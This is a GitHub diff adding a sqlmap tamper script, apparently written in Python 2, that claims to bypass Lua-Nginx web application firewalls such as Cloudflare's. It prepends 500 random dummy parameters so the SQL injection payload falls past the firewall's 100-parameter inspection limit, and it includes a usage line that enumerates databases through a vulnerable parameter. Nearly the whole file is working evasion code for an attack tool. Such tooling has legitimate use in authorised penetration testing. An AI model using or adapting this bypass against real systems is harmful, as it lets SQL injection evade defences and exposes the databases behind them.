File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ #!/usr/bin/env python
2+ # -*- coding: utf-8 -*-
3+
4+ """
5+ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
6+ See the file 'LICENSE' for copying permission
7+ """
8+
9+ '''
10+ [+] LUA-Nginx WAFs Bypass (Cloudflare)
11+ Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
12+
13+ Example: sqlmap -r file.txt --tamper=luanginxwafbypass.py --dbs --skip-urlencode -p vulnparameter
14+ Required options: --skip-urlencode, -p
15+ '''
16+
17+ import sys
18+ import string
19+ import random
20+ from lib .core .enums import PRIORITY
21+ from lib .core .data import conf
22+ __priority__ = PRIORITY .HIGHEST
23+
24+ ''' Random parameter'''
25+ def randomParameterGenerator (size = 6 , chars = string .ascii_uppercase + string .digits ):
26+ output = '' .join (random .choice (chars ) for _ in range (size ))
27+ return output
28+
29+ ''' Tamper '''
30+ def tamper (payload , ** kwargs ):
31+ try :
32+ headers = kwargs .get ("headers" , {})
33+ randomParameter = randomParameterGenerator ()
34+ parameter = conf ["testParameter" ][0 ]
35+
36+ if not parameter :
37+ print "\n [-] [ERROR] Add an injectable parameter with -p option (-p param)"
38+ sys .exit (0 )
39+
40+ if conf ["skipUrlEncode" ] != True :
41+ print "\n [-] [ERROR] --skip-urlencode option must be activated"
42+ sys .exit (0 )
43+
44+ # Add 500 parameters to payload
45+ luaBypass = ("&" + randomParameter + "=" )* 500 + "&"
46+ outputPayload = luaBypass + parameter + "=" + payload
47+
48+ return outputPayload
49+ except Exception as error :
50+ print error
51+ return None
You can’t perform that action at this time.
0 commit comments